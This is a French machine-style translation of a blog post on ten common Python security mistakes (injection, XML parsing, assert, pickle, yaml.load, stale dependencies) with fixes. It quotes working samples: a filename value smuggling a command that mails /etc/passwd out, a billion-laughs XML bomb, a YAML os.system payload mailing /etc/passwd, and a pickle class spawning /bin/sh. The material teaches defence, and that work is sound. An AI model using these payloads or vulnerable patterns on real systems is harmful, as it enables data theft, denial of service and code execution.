Les 10 erreurs de sécurité les plus courantes en Python et comment les éviter

Bonjour à tous!

Notre prochain groupe Python a commencé avec succès lundi, mais nous avons encore un matériel de plus que nous n'avons pas réussi à placer avant le début. Nous corrigeons notre erreur et espérons que vous l'aimerez.

C'est parti!

Écrire du code sécurisé est difficile. Lorsque vous apprenez un langage, un module ou un framework, vous apprendrez à l'utiliser. Vous devez également réfléchir à la façon dont ils peuvent être utilisés de manière incorrecte dans un contexte de sécurité. Python ne fait pas exception, même la documentation de la bibliothèque standard contient des descriptions de mauvaises pratiques d'écriture pour les applications sécurisées. Cependant, de nombreux développeurs Python ne les connaissent tout simplement pas.



Voici mon top 10 (dans un ordre aléatoire) des erreurs les plus courantes dans les applications Python.

1. Injection


Il existe de nombreux types d'attaques par injection de code, et elles sont toutes assez courantes. Ils affectent tous les langages, cadres et environnements.

L'injection SQL consiste à écrire des requêtes SQL directement, plutôt qu'à utiliser ORM, et à mélanger des littéraux de chaîne avec des variables. J'ai lu beaucoup de code où «échapper les guillemets» est considéré comme un correctif. Ce n'est pas le cas. Vous pouvez vous familiariser avec de nombreuses façons d'incorporer SQL dans cette feuille de triche .

L' injection de commandes est à tout moment lorsque vous appelez un processus en utilisant popen, subprocess, os.system et acceptez des arguments de variables. Lors de l'appel de commandes locales, il est possible que quelqu'un définisse ces valeurs sur quelque chose de malveillant.

Imaginez ce script simple [crédit] . Vous appelez le sous-processus avec le nom de fichier fourni par l'utilisateur:

import subprocess def transcode_file(request, filename): command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename) subprocess.call(command, shell=True) # a bad idea! 

Un attaquant définit la valeur sur filename "; cat /etc/passwd | mail them@domain.com ou quelque chose de tout aussi dangereux.

Solution:

Stérilisez l'entrée avec les utilitaires fournis avec votre framework Web si vous en utilisez un. Sauf si vous avez une bonne raison, ne créez pas de requêtes SQL manuellement. La plupart des ORM ont des méthodes de désinfection intégrées.

Pour une coque, utilisez le module shlex pour protéger correctement l' entrée .

2.Parade XML


Si votre application télécharge et analyse des fichiers XML, il est probable que vous utilisez l'un des modules de bibliothèque XML standard. Il existe plusieurs attaques courantes via XML. Surtout du style DoS (conçu pour supprimer le système, pas pour filtrer les données). Ces attaques sont assez courantes, surtout si vous analysez des fichiers XML externes (c'est-à-dire ceux qui ne peuvent pas être approuvés).

L'un d'eux est appelé "milliards de rires" (littéralement "milliards de rires") en raison de la charge utile, qui contient généralement beaucoup (milliards) de "lol". Fondamentalement, l'idée est que vous pouvez créer des objets de référence en XML, donc lorsque votre analyseur XML sans prétention essaie de charger ce fichier en mémoire, il consomme des gigaoctets de RAM. Essayez-le si vous ne me croyez pas :-)

 <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> 

D'autres attaques utilisent l'expansion par une entité externe. XML prend en charge les références d'entité à partir d'URL externes, l'analyseur XML demande et charge généralement cette ressource sans aucun problème. «Un attaquant peut contourner les pare-feu et accéder à des ressources limitées car toutes les demandes sont faites à partir d'une adresse IP interne et fiable, pas de l'extérieur.»

Une autre situation à considérer est les packages de décodage XML tiers dont vous dépendez, tels que les fichiers de configuration, les API distantes. Vous ne soupçonnez peut-être même pas que l'une de vos dépendances est ouverte à ces types d'attaques.
Que se passe-t-il en Python? Eh bien, les modules de bibliothèque standard, etree, DOM, xmlrpc sont largement ouverts pour de telles attaques. Ceci est bien documenté ici .

Solution:

Utilisez defusedxml en remplacement des modules de bibliothèque standard. Il ajoute des mesures défensives contre ces types d'attaques.

3. Affirmer les instructions


N'utilisez pas assert pour protéger des fragments de code auxquels l'utilisateur ne doit pas accéder. Prenons cet exemple simple:

 def foo(request, user): assert user.is_admin, “user does not have access” # secure code... 

Maintenant, par défaut, Python s'exécute avec __debug__ égal à true, mais dans un environnement de combat, il commence généralement par l'optimisation. L'instruction assert sera ignorée et le programme ira directement au code protégé, que l'utilisateur soit is_admin ou non.

Solution:

Utilisez les instructions d' assert uniquement pour l'interaction avec d'autres développeurs, par exemple, dans des tests unitaires ou pour vous protéger contre une utilisation incorrecte de l'API.

4. Attaques temporaires


Les attaques temporelles sont, par essence, un moyen d'exposer le comportement et l'algorithme d'un programme en déterminant le temps nécessaire pour comparer les valeurs fournies. Les attaques temporaires nécessitent une précision, elles ne fonctionnent donc généralement pas sur un réseau distant à latence élevée. En raison du délai variable associé à la plupart des applications Web, il est presque impossible d'enregistrer une attaque temporaire via des serveurs Web HTTP.

Mais si vous avez une application en ligne de commande qui demande un mot de passe, un attaquant peut écrire un script simple pour calculer le temps qu'il faut pour comparer leurs valeurs avec le mot de passe réel. Un exemple .

Si vous voulez voir comment ils fonctionnent, il existe des exemples impressionnants, tels que cette attaque SSH temporaire écrite en Python.

Solution:

Utilisez secrets.compare_digest introduit dans Python 3.5 pour comparer les mots de passe et autres valeurs privées.

5. Sites-packages contaminés ou chemin d'importation


Python possède un système d'importation très flexible. C'est très bien lorsque vous essayez d'écrire des correctifs de singe pour vos tests ou de surcharger les fonctions principales.

Mais c'est l'un des plus grands trous de sécurité en Python.

L'installation de packages tiers dans vos packages de site, que ce soit dans un environnement virtuel ou dans des packages de site globaux (ce qui décourage généralement), vous offre des failles de sécurité dans ces packages.

Il y a eu des cas de publication de packages PyPi avec des noms similaires aux noms de packages populaires mais en exécutant du code arbitraire . Le plus gros incident, heureusement, n'était pas dangereux et a simplement «mis fin» au fait qu'ils n'avaient pas prêté attention au problème.

Une autre situation à considérer est les dépendances de vos dépendances (etc.). Ils peuvent inclure des vulnérabilités, et ils peuvent également remplacer le comportement par défaut dans Python via le système d'importation.

Solution:

Vérifiez vos colis. Jetez un œil à PyUp.io et à son équipe de sécurité. Utilisez un environnement virtuel pour toutes les applications et assurez-vous que vos packages de sites globaux sont aussi propres que possible. Vérifiez les signatures de package.

6. Fichiers temporaires


Pour créer des fichiers temporaires en Python, vous générez généralement d'abord le nom de fichier à l'aide de la fonction mktemp() , puis créez le fichier à l'aide du nom généré. "Ceci n'est pas sûr car un autre processus peut créer un fichier avec le même nom entre le moment où mktemp() appelé et la tentative ultérieure de création du fichier par le premier processus." Cela signifie qu'il peut tromper votre application en téléchargeant des données incorrectes ou en mettant en danger d'autres données temporaires.

Les versions récentes de Python afficheront un avertissement d'exécution si vous appelez la mauvaise méthode.

Solution:

Utilisez le module tempfile et utilisez mkstemp si vous devez créer des fichiers temporaires.

7. Utilisation de yaml.load


Citant la documentation PyYAML:

Avertissement Il n'est pas sûr d'appeler yaml.load avec des données reçues d'une source non fiable! yaml.load est aussi efficace que pickle.load et peut donc appeler n'importe quelle fonction Python.

Ce grand exemple se trouve dans le projet Ansible populaire. Vous pouvez attribuer à Ansible Vault une valeur en tant que YAML (valide). Il appelle os.system() avec les arguments fournis dans le fichier.

 !!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"] 

Ainsi, en chargeant des fichiers YAML à partir de valeurs fournies par l'utilisateur, vous êtes largement ouvert aux attaques.


Démonstration de cela en action, merci Anthony Sottile

Solution:

Utilisez yaml.safe_load , presque toujours, sauf si vous avez une très bonne raison de ne pas le faire.

8. Cornichons


La désérialisation des données en conserve est tout aussi mauvaise que YAML. Les classes Python peuvent déclarer une méthode magique __reduce__ qui retourne une chaîne, ou un tuple avec un callable, et passer des arguments à appeler lors de la conservation. Un attaquant peut l'utiliser pour inclure des liens vers l'un des modules de sous-processus afin d'exécuter des commandes arbitraires sur l'hôte.

Cet exemple remarquable montre comment conserver une classe qui ouvre un shell en Python 2. Il existe de nombreux autres exemples d' utilisation de pickle.

 import cPickle import subprocess import base64 class RunBinSh(object): def __reduce__(self): return (subprocess.Popen, (('/bin/sh',),)) print base64.b64encode(cPickle.dumps(RunBinSh())) 

Solution:

Ne rouvrez jamais les données d'une source non fiable ou non vérifiée. Utilisez plutôt un modèle de sérialisation différent, tel que JSON.

9. Utilisez le système d'exécution python et ne le corrigez pas


La plupart des systèmes POSIX sont livrés avec une version de Python 2. Naturellement, déjà obsolète.

Depuis Python, c'est-à-dire que CPython est écrit en C, il y a des moments où l'interpréteur Python lui-même a des trous. Les problèmes de sécurité courants en C concernent l'allocation de mémoire, ainsi que les erreurs de dépassement de tampon.

Au fil des ans, CPython a connu plusieurs vulnérabilités de surdimensionnement ou de dépassement de capacité, dont chacune a été corrigée et corrigée dans les versions ultérieures.
Vous êtes donc en sécurité. Plus précisément, si vous installez des correctifs pour votre runtime .

Voici un exemple pour la version 2.7.13 et ci-dessous , une vulnérabilité de dépassement d'entier qui permet l'exécution de code. Cet exemple concerne tout Ubuntu jusqu'à la version 17 sans correctifs installés.

Solution:

Installez la dernière version de Python pour vos applications de combat et tous les correctifs!

10. N'installez pas de correctifs pour vos dépendances


Tout comme vous n'installez pas de correctifs pour votre runtime, vous devez également installer régulièrement des correctifs pour vos dépendances.

Je pense que la pratique d'épingler des versions Python de packages PyPi dans des packages est horrible. L'idée est que « ce sont des versions qui fonctionnent », alors tout le monde la laisse tranquille.

Toutes les vulnérabilités de code que j'ai mentionnées ci-dessus sont tout aussi importantes lorsqu'elles existent dans les packages que votre application utilise. Les développeurs de ces packages corrigent des problèmes de sécurité. Tout le temps.

Solution:

Utilisez des services comme PyUp.io pour vérifier les mises à jour, configurer les demandes de téléchargement / fusion dans l'application et exécuter des tests pour mettre à jour les packages.
Utilisez des outils, tels qu'InSpec, pour vérifier les versions installées dans un environnement de production et fournir des correctifs pour les versions minimales ou les plages de versions.

Avez-vous essayé Bandit?

Il existe un grand linter statique qui trouvera tous ces problèmes dans votre code et bien plus encore! Il s'appelle bandit, pip install bandit simplement pip install bandit et bandit ./codedir

PyCQA / bandit

Merci à RedHat pour ce merveilleux article que j'ai utilisé dans certaines de mes recherches.

LA FIN!

Comme toujours, nous serons heureux de voir vos commentaires et questions :)

Source: https://habr.com/ru/post/fr420441/


All Articles